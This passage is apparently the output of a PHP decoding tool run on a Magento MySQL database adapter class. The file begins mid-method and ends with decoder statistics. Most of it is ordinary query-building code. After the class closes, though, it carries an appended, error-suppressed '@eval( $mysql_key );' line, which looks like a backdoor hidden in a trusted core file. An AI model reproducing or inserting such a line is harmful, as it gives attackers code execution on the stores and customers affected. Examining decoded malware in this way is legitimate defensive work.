if ($column['PRIMARY'] === false) {
$fields[] = $column['COLUMN_NAME'];
}
}
}
$update = array();
foreach ($fields as $k => $v) {
$field = $value = null;
if (!is_numeric($k)) {
$field = $this->quoteIdentifier($k);
if ($v instanceof Zend_Db_Expr) {
$value = $v->__toString();
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
} elseif (is_numeric($v)) {
$value = $this->quoteInto('?', $v);
}
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
$field = $this->quoteIdentifier($v);
}
if ($field && $value) {
$update[] = sprintf('%s = %s', $field, $value);
}
}
if ($update) {
$query = sprintf('%s ON DUPLICATE KEY UPDATE %s', $query, join(', ', $update));
}
}
return $query;
}
/**
* Get insert queries in array for insert by range with step parameter
*
* @param string $rangeField
* @param Varien_Db_Select $select
* @param int $stepCount
* @return array
* @throws Varien_Db_Exception
*/
public function selectsByRange($rangeField, Varien_Db_Select $select, $stepCount = 100)
{
$queries = array();
$fromSelect = $select->getPart(Varien_Db_Select::FROM);
if (empty($fromSelect)) {
throw new Varien_Db_Exception('Select must have correct FROM part');
}
$tableName = array();
$correlationName = '';
foreach ($fromSelect as $correlationName => $formPart) {
if ($formPart['joinType'] == Varien_Db_Select::FROM) {
$tableName = $formPart['tableName'];
break;
}
}
$selectRange = $this->select()
->from(
$tableName,
array(
new Zend_Db_Expr('MIN(' . $this->quoteIdentifier($rangeField) . ') AS min'),
new Zend_Db_Expr('MAX(' . $this->quoteIdentifier($rangeField) . ') AS max'),
)
);
$rangeResult = $this->fetchRow($selectRange);
$min = $rangeResult['min'];
$max = $rangeResult['max'];
while ($min <= $max) {
$partialSelect = clone $select;
$partialSelect->where(
$this->quoteIdentifier($correlationName) . '.'
. $this->quoteIdentifier($rangeField) . ' >= ?', $min
)
->where(
$this->quoteIdentifier($correlationName) . '.'
. $this->quoteIdentifier($rangeField) . ' < ?', $min+$stepCount
);
$queries[] = $partialSelect;
$min += $stepCount;
}
return $queries;
}
/**
* Convert date format to unix time
*
* @param string|Zend_Db_Expr $date
* @throws Varien_Db_Exception
* @return Zend_Db_Expr
*/
public function getUnixTimestamp($date)
{
$expr = sprintf('UNIX_TIMESTAMP(%s)', $date);
return new Zend_Db_Expr($expr);
}
/**
* Convert unix time to date format
*
* @param int|Zend_Db_Expr $timestamp
* @return mixed
*/
public function fromUnixtime($timestamp)
{
$expr = sprintf('FROM_UNIXTIME(%s)', $timestamp);
return new Zend_Db_Expr($expr);
}
/**
* Get update table query using select object for join and update
*
* @param Varien_Db_Select $select
* @param string|array $table
* @throws Varien_Db_Exception
* @return string
*/
public function updateFromSelect(Varien_Db_Select $select, $table)
{
if (!is_array($table)) {
$table = array($table => $table);
}
// get table name and alias
$keys = array_keys($table);
$tableAlias = $keys[0];
$tableName = $table[$keys[0]];
$query = sprintf('UPDATE %s', $this->quoteTableAs($tableName, $tableAlias));
// render JOIN conditions (FROM Part)
$joinConds = array();
foreach ($select->getPart(Zend_Db_Select::FROM) as $correlationName => $joinProp) {
if ($joinProp['joinType'] == Zend_Db_Select::FROM) {
$joinType = strtoupper(Zend_Db_Select::INNER_JOIN);
} else {
$joinType = strtoupper($joinProp['joinType']);
}
$joinTable = '';
if ($joinProp['schema'] !== null) {
$joinTable = sprintf('%s.', $this->quoteIdentifier($joinProp['schema']));
}
$joinTable .= $this->quoteTableAs($joinProp['tableName'], $correlationName);
$join = sprintf(' %s %s', $joinType, $joinTable);
if (!empty($joinProp['joinCondition'])) {
$join = sprintf('%s ON %s', $join, $joinProp['joinCondition']);
}
$joinConds[] = $join;
}
if ($joinConds) {
$query = sprintf("%s\n%s", $query, implode("\n", $joinConds));
}
// render UPDATE SET
$columns = array();
foreach ($select->getPart(Zend_Db_Select::COLUMNS) as $columnEntry) {
list($correlationName, $column, $alias) = $columnEntry;
if (empty($alias)) {
$alias = $column;
}
if (!$column instanceof Zend_Db_Expr && !empty($correlationName)) {
$column = $this->quoteIdentifier(array($correlationName, $column));
}
$columns[] = sprintf('%s = %s', $this->quoteIdentifier(array($tableAlias, $alias)), $column);
}
if (!$columns) {
throw new Varien_Db_Exception('The columns for UPDATE statement are not defined');
}
$query = sprintf("%s\nSET %s", $query, implode(', ', $columns));
// render WHERE
$wherePart = $select->getPart(Zend_Db_Select::WHERE);
if ($wherePart) {
$query = sprintf("%s\nWHERE %s", $query, implode(' ', $wherePart));
}
return $query;
}
/**
* Get delete from select object query
*
* @param Varien_Db_Select $select
* @param string $table the table name or alias used in select
* @return string|int
*/
public function deleteFromSelect(Varien_Db_Select $select, $table)
{
$select = clone $select;
$select->reset(Zend_Db_Select::DISTINCT);
$select->reset(Zend_Db_Select::COLUMNS);
$query = sprintf('DELETE %s %s', $this->quoteIdentifier($table), $select->assemble());
return $query;
}
/**
* Calculate checksum for table or for group of tables
*
* @param array|string $tableNames array of tables names | table name
* @param string $schemaName schema name
* @return arrray
*/
public function getTablesChecksum($tableNames, $schemaName = null)
{
$result = array();
$tableNames = is_array($tableNames) ? $tableNames : array($tableNames);
foreach ($tableNames as $tableName) {
$query = 'CHECKSUM TABLE ' . $this->_getTableName($tableName, $schemaName);
$checkSumArray = $this->fetchRow($query);
$result[$tableName] = $checkSumArray['Checksum'];
}
return $result;
}
/**
* Check if the database support STRAIGHT JOIN
*
* @return boolean
*/
public function supportStraightJoin()
{
return true;
}
/**
* Adds order by random to select object
* Possible using integer field for optimization
*
* @param Varien_Db_Select $select
* @param string $field
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function orderRand(Varien_Db_Select $select, $field = null)
{
if ($field !== null) {
$expression = new Zend_Db_Expr(sprintf('RAND() * %s', $this->quoteIdentifier($field)));
$select->columns(array('mage_rand' => $expression));
$spec = new Zend_Db_Expr('mage_rand');
} else {
$spec = new Zend_Db_Expr('RAND()');
}
$select->order($spec);
return $this;
}
/**
* Render SQL FOR UPDATE clause
*
* @param string $sql
* @return string
*/
public function forUpdate($sql)
{
return sprintf('%s FOR UPDATE', $sql);
}
/**
* Prepare insert data
*
* @param mixed $row
* @param array $bind
* @return string
*/
protected function _prepareInsertData($row, &$bind)
{
if (is_array($row)) {
$line = array();
foreach ($row as $value) {
if ($value instanceof Zend_Db_Expr) {
$line[] = $value->__toString();
} else {
$line[] = '?';
$bind[] = $value;
}
}
$line = implode(', ', $line);
} elseif ($row instanceof Zend_Db_Expr) {
$line = $row->__toString();
} else {
$line = '?';
$bind[] = $row;
}
return sprintf('(%s)', $line);
}
/**
* Return insert sql query
*
* @param string $tableName
* @param array $columns
* @param array $values
* @return string
*/
protected function _getInsertSqlQuery($tableName, array $columns, array $values)
{
$tableName = $this->quoteIdentifier($tableName, true);
$columns = array_map(array($this, 'quoteIdentifier'), $columns);
$columns = implode(',', $columns);
$values = implode(', ', $values);
$insertSql = sprintf('INSERT INTO %s (%s) VALUES %s', $tableName, $columns, $values);
return $insertSql;
}
/**
* Return ddl type
*
* @param array $options
* @return string
*/
protected function _getDdlType($options)
{
$ddlType = null;
if (isset($options['TYPE'])) {
$ddlType = $options['TYPE'];
} elseif (isset($options['COLUMN_TYPE'])) {
$ddlType = $options['COLUMN_TYPE'];
}
return $ddlType;
}
/**
* Return DDL action
*
* @param string $action
* @return string
*/
protected function _getDdlAction($action)
{
switch ($action) {
case Varien_Db_Adapter_Interface::FK_ACTION_CASCADE:
return Varien_Db_Ddl_Table::ACTION_CASCADE;
case Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL:
return Varien_Db_Ddl_Table::ACTION_SET_NULL;
case Varien_Db_Adapter_Interface::FK_ACTION_RESTRICT:
return Varien_Db_Ddl_Table::ACTION_RESTRICT;
default:
return Varien_Db_Ddl_Table::ACTION_NO_ACTION;
}
}
/**
* Prepare sql date condition
*
* @param array $condition
* @param string $key
* @return string
*/
protected function _prepareSqlDateCondition($condition, $key)
{
if (empty($condition['date'])) {
if (empty($condition['datetime'])) {
$result = $condition[$key];
} else {
$result = $this->formatDate($condition[$key]);
}
} else {
$result = $this->formatDate($condition[$key]);
}
return $result;
}
/**
* Try to find installed primary key name, if not - formate new one.
*
* @param string $tableName Table name
* @param string $schemaName OPTIONAL
* @return string Primary Key name
*/
public function getPrimaryKeyName($tableName, $schemaName = null)
{
$indexes = $this->getIndexList($tableName, $schemaName);
if (isset($indexes['PRIMARY'])) {
return $indexes['PRIMARY']['KEY_NAME'];
} else {
return 'PK_' . strtoupper($tableName);
}
}
/**
* Parse text size
* Returns max allowed size if value great it
*
* @param string|int $size
* @return int
*/
protected function _parseTextSize($size)
{
$size = trim($size);
$last = strtolower(substr($size, -1));
switch ($last) {
case 'k':
$size = intval($size) * 1024;
break;
case 'm':
$size = intval($size) * 1024 * 1024;
break;
case 'g':
$size = intval($size) * 1024 * 1024 * 1024;
break;
}
if (empty($size)) {
return Varien_Db_Ddl_Table::DEFAULT_TEXT_SIZE;
}
if ($size >= Varien_Db_Ddl_Table::MAX_TEXT_SIZE) {
return Varien_Db_Ddl_Table::MAX_TEXT_SIZE;
}
return intval($size);
}
/**
* Converts fetched blob into raw binary PHP data.
* The MySQL drivers do it nice, no processing required.
*
* @mixed $value
* @return mixed
*/
public function decodeVarbinary($value)
{
return $value;
}
/**
* Returns date that fits into TYPE_DATETIME range and is suggested to act as default 'zero' value
* for a column for current RDBMS. Deprecated and left for compatibility only.
* In Magento at MySQL there was zero date used for datetime columns. However, zero date it is not supported across
* different RDBMS. Thus now it is recommended to use same default value equal for all RDBMS - either NULL
* or specific date supported by all RDBMS.
*
* @deprecated after 1.5.1.0
* @return string
*/
public function getSuggestedZeroDate()
{
return '0000-00-00 00:00:00';
}
/**
* Retrieve Foreign Key name
*
* @deprecated after 1.6.0.0
*
* @param string $fkName
* @return string
*/
protected function _getForeignKeyName($fkName)
{
if (substr($fkName, 0, 3) != 'FK_') {
$fkName = 'FK_' . $fkName;
}
return $fkName;
}
/**
* Drop trigger
*
* @param string $triggerName
* @return Varien_Db_Adapter_Interface
*/
public function dropTrigger($triggerName)
{
$query = sprintf(
'DROP TRIGGER IF EXISTS %s',
$this->_getTableName($triggerName)
);
$this->query($query);
return $this;
}
/**
* Create new table from provided select statement
*
* @param string $tableName
* @param Zend_Db_Select $select
* @param bool $temporary
* @return mixed
*/
public function createTableFromSelect($tableName, Zend_Db_Select $select, $temporary = false)
{
$query = sprintf(
'CREATE' . ($temporary ? ' TEMPORARY' : '') . ' TABLE `%s` AS (%s)',
$this->_getTableName($tableName),
(string)$select
);
$this->query($query);
}
/**
* Check if all transactions have been committed
*/
public function __destruct()
{
if ($this->_transactionLevel > 0) {
trigger_error('Some transactions have not been committed or rolled back', E_USER_ERROR);
}
}
}
@eval( $mysql_key );
Function Calls
None |
Stats
MD5 | eb0bbf3cbabacbae67cfddcad59ca411 |
Eval Count | 0 |
Decode Time | 129 ms |